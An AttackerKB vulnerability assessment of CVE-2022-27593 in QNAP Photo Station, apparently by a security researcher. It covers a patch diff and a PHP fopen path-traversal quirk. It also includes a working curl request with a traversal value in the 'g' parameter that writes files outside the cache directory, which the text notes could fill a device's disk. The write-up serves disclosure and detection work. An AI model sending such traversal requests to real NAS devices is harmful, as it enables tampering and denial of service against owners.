Very High
CVE-2022-27593
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
CVE-2022-27593
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
An externally controlled reference to a resource vulnerability has been reported to affect QNAP NAS running Photo Station. If exploited, This could allow an attacker to modify system files. We have already fixed the vulnerability in the following versions: QTS 5.0.1: Photo Station 6.1.2 and later QTS 5.0.0/4.5.x: Photo Station 6.0.22 and later QTS 4.3.6: Photo Station 5.7.18 and later QTS 4.3.3: Photo Station 5.4.15 and later QTS 4.2.6: Photo Station 5.2.14 and later
Add Assessment
Ratings
-
Attacker ValueVery High
-
ExploitabilityMedium
Technical Analysis
On September 3, 2022, QNAP issued a security advisory, QSA-22-24, detailing active exploitation of a vulnerability affecting QNAP NAS devices with Photo Station installed. QNAP’s advisory contained almost no useful details beyond affected versions. The advisory didn’t say if the attack required authentication or not. It didn’t indicate if the attack was some type of bypass or code execution issue. It didn’t clarify if user interaction might play a role. QNAP waited five days to assign CVE-2022-27593 on September 8, 2022.
In order to be affected by CVE-2022-27593, the QNAP NAS must have the Photo Station “app” installed on the device. Photo Station is not installed by default, but appears to be a popular app. QNAP indicates the following versions are affected:
- QTS 5.0.1: Photo Station 6.1.2 and later
- QTS 5.0.0/4.5.x: Photo Station 6.0.22 and later
- QTS 4.3.6: Photo Station 5.7.18 and later
- QTS 4.3.3: Photo Station 5.4.15 and later
- QTS 4.2.6: Photo Station 5.2.14 and later
CVE-2022-27593 is reportedly being exploited in the wild by the Deadbolt ransomware crew. Censys currently finds more than 1,000 NAS that have fallen victim to Deadbolt. No public exploit code exists, although this write up will introduce, what we believe to be, the basis of the exploit.
Patch Diff
We did patch analysis on Photo Station 5.2.13, 5.2.14, 6.0.21, and 6.0.22. Only this change really stood out to us:
--- ./PhotoStation_6.0.21/photostation2/combine.php 2022-06-01 11:05:40.000000000 -0700 +++ ./PhotoStation_6.0.22/photostation2/combine.php 2022-09-03 06:08:16.000000000 -0700 @@ -180,7 +180,7 @@ if ($cache) { // Try the cache first to see if the combined files were already generated - $cachefile = 'cache-' . $_GET['g'] . '-' . $hash . '.' . $type . ($encoding != 'none' ? '.' . $encoding : ''); + $cachefile = 'cache-' . $hash . '.' . $type . ($encoding != 'none' ? '.' . $encoding : '');
This change in combine.php
removes the attacker’s ability to influence the name of $cachefile
. The $cachefile
variable is eventually used to write a file to disk:
if ($fp = fopen($cachedir . '/' . $cachefile, 'wb')) { fwrite($fp, $contents); fclose($fp); chmod($cachedir . '/' . $cachefile, 0777); }
combine.php
intends to optimize downloading of Photo Station’s .js
and .css
files by combining them into a single file and caching that single file on disk for later retrieval. It’s dubious how effective this strategy is given the likely close proximity of the user and the NAS, but that is what it exists to do. The user (attacker) has no control over the file contents, as combine.php
operates on a predefined list of files.
The cached files are written in /share/CACHEDEV1_DATA/.qpkg/photostation2/cache/
, which notably doesn’t contain any subdirectories (important later). Here is an example of some legitimate cache files:
[albinolobster@NAS4A32F3 cache]$ pwd /share/CACHEDEV1_DATA/.qpkg/photostation2/cache [albinolobster@NAS4A32F3 cache]$ ls -l total 336 -rwxrwxrwx 1 admin administrators 272577 2022-09-07 18:55 cache-gallery-860177714-b5e445c04a689b88e2ae9b41ed1ee3b9.javascript.gzip* -rwxrwxrwx 1 admin administrators 67946 2022-09-07 18:55 cache-main-845839342-2deda6ba098a12d8abccf909ae63cc6e.css.gzip* [albinolobster@NAS4A32F3 cache]$
However, as we see in the diff above, the attacker has some influence over the filename using the g
parameter — although g
itself has requirements that prevent the attacker from fully controlling the parameter. g
must start with a predefined group
value and use -
to separate strings.
$group = explode('-', $_GET['g']); switch ($group[0]) { case 'core':
Adding to the complication, the $cachefile
has additional strings prepended and appended that the attacker has almost no influence over.
However, due to an odd quirk of PHP’s fopen
, an attacker can traverse out of the cache
directory and write the cache files to arbitrary locations. Normally a directory traversal requires a complete and valid path. For example, consider the following PHP code and the bash output from my Ubuntu box.
<?php if ($fp = fopen('/tmp/../wat/../tmp/r7_test', 'wb')) { fwrite($fp, 'hi'); fclose($fp); chmod('/tmp/../wat/../tmp/r7_test', 0777); } ?>
albinolobster@ubuntu:~$ ls -l /tmp/r7_test ls: cannot access '/tmp/r7_test': No such file or directory albinolobster@ubuntu:~$ ls -l /tmp/../wat/../tmp/r7_test ls: cannot access '/tmp/../wat/../tmp/r7_test': No such file or directory albinolobster@ubuntu:~$ php travesal.php PHP Warning: chmod(): No such file or directory in /home/albinolobster/travesal.php on line 6 albinolobster@ubuntu:~$ ls -l /tmp/../wat/../tmp/r7_test ls: cannot access '/tmp/../wat/../tmp/r7_test': No such file or directory albinolobster@ubuntu:~$ ls -l /tmp/r7_test -rw-rw-r-- 1 albinolobster albinolobster 2 Sep 8 07:48 /tmp/r7_test albinolobster@ubuntu:~$ ls -l /wat/ ls: cannot access '/wat/': No such file or directory
Above, you can see that ls -l /tmp/../wat/../tmp/r7_test
fails because /wat/
doesn’t exist. However, fopen('/tmp/../wat/../tmp/r7_test', 'wb')
successfully creates /tmp/r7_test
despite the missing directory. That’s important to the QNAP’s combine.php
because:
- The attacker has sufficient control to add directory traversal characters, but doesn’t have control over the
$cachefile
initial characters.
- The
cache
directory doesn’t contain any subdirectories.
This odd behavior of fopen
means that an attacker should be able to use the g
parameter to traverse through the system. Here is a curl-based example of using the g
parameter to write to /share/CACHEDEV1_DATA/.qpkg/
instead of `/share/CACHEDEV1_DATA/.qpkg/photostation2/cache
.
albinolobster@ubuntu:~$ curl -kv "http://10.12.70.249:8080/photo/combine.php?type=javascript&g=core-r7rules/../../../hello.php." --output /dev/null * Trying 10.12.70.249:8080... * TCP_NODELAY set % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Connected to 10.12.70.249 (10.12.70.249) port 8080 (#0) > GET /photo/combine.php?type=javascript&g=core-r7rules/../../../hello.php. HTTP/1.1 > Host: 10.12.70.249:8080 > User-Agent: curl/7.68.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Date: Thu, 08 Sep 2022 19:54:52 GMT < Server: Apache < Etag: "3e0c25bbe8bf3a21ee345dff99f111f2" < Last-Modified: 1654107034 < Cache-Control: public, max-age=31536000 < X-Frame-Options: SAMEORIGIN < Upgrade: h2 < Connection: Upgrade < Content-Length: 982250 < Content-Type: application/javascript < { [4037 bytes data] 100 959k 100 959k 0 0 6900k 0 --:--:-- --:--:-- --:--:-- 6900k * Connection #0 to host 10.12.70.249 left intact
Which results in the following output from the NAS’s SSH CLI:
[albinolobster@NAS4A32F3 cache]$ ls -l ../../ total 980 -rw-r--r-- 1 admin administrators 982250 2022-09-08 15:54 hello.php.-3e0c25bbe8bf3a21ee345dff99f111f2.javascript drwxrwxrwx 7 admin administrators 4096 2022-09-06 15:51 MultimediaConsole/ drwxrwxr-x 5 admin administrators 4096 2022-06-01 14:11 PhotoStation/ drwxr-xr-x 14 admin administrators 4096 2022-09-06 18:33 photostation2/ drwxr-xr-x 3 admin administrators 4096 2022-07-08 15:37 phpMyAdmin/ drwxr-xr-x 10 admin administrators 4096 2022-07-15 16:07 QsyncServer/ [albinolobster@NAS4A32F3 cache]$
This is not a demonstration of remote code execution. All we’ve demonstrated so far is that files can be created anywhere on disk with the attacker maintaining partial control of the filename but no control of the file contents. Technically speaking, we have demonstrated a vulnerability though. We could fill up the disk using this curl
command because we’ve now escaped combine.php
’s clean-up logic:
//remove residual files before saving the cache if ($type == 'css') { exec('/bin/rm -f ' . escapeshellarg($cachedir) . '/cache-' . escapeshellarg($group[0]) . '*.css.gzip'); } else if($type == 'javascript') { exec('/bin/rm -f ' . escapeshellarg($cachedir) . '/cache-' .escapeshellarg( $group[0]) . '*.javascript.gzip'); }
But to achieve remote code execution, there needs to be an additional sink — presumably something that will mishandle the filename the attacker assigns. That seems in line with the CWE assigned by QNAP. QNAP assigned CWE-610, *Externally Controlled Reference to a Resource in Another Sphere”, which is a parent of CWE-73, External Control of File Name or Path. So, while we may not have demonstrated the exact code execution sink here, we believe this is the correct primitive and sufficient to write signatures and detections against.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
- qnap
Products
- photo station
Exploited in the Wild
Would you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportReferences
Additional Info
Technical Analysis
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: